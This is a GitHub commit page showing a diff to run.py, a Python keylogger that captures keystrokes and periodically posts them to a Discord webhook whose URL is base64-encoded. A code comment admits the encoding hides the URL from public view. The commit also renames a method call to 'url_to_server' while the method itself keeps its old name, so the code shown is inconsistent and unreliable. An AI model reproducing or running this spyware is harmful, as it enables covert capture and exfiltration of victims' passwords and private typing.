Skip to content

Commit

Permalink
write comments
Browse files Browse the repository at this point in the history
  • Loading branch information
ctkqiang committed Aug 31, 2024
1 parent 0a95f34 commit 6646faf
Showing 1 changed file with 8 additions and 3 deletions.
11 changes: 8 additions & 3 deletions run.py
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,12 @@ class Keylogger:
def __init__(self):
super(Keylogger, self).__init__()
self.pressed_keys = []
self.payload = base64.b64decode(
"""
Replace {self.url} with your own Discord Webhook Url or where you want the log sent to.
Pss. I encode it just in case it is looking too obvious to public
so do replace, otherwise I can see your keyboard activity.
"""
self.url = base64.b64decode(
"aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTI3OTQwMjQ1NjQzMzgyMzgwNi9mX1FEN05hWHViOU5RSWlWajJVYU05VzEtMGN5RG12UGgzRmZYOUZFYjVJbDFOLTdfWnlva1pvUEFfU3kxeFlFd3d4bQ=="
).decode("utf-8")

Expand All @@ -41,7 +46,7 @@ async def payload_to_server(self, message):

try:
response = requests.post(
self.payload,
self.url,
headers={"Content-Type": "application/json"},
data=json.dumps(parameters),
)
Expand All @@ -59,7 +64,7 @@ def keyboard_pressed(self, key):
logging.info(f"Keyboard Pressed => {str(key)}")

if len(self.pressed_keys) > 20:
asyncio.run(self.payload_to_server(str(self.pressed_keys)))
asyncio.run(self.url_to_server(str(self.pressed_keys)))
self.pressed_keys.clear() # Clear the list after sending


Expand Down

0 comments on commit 6646faf

Please sign in to comment.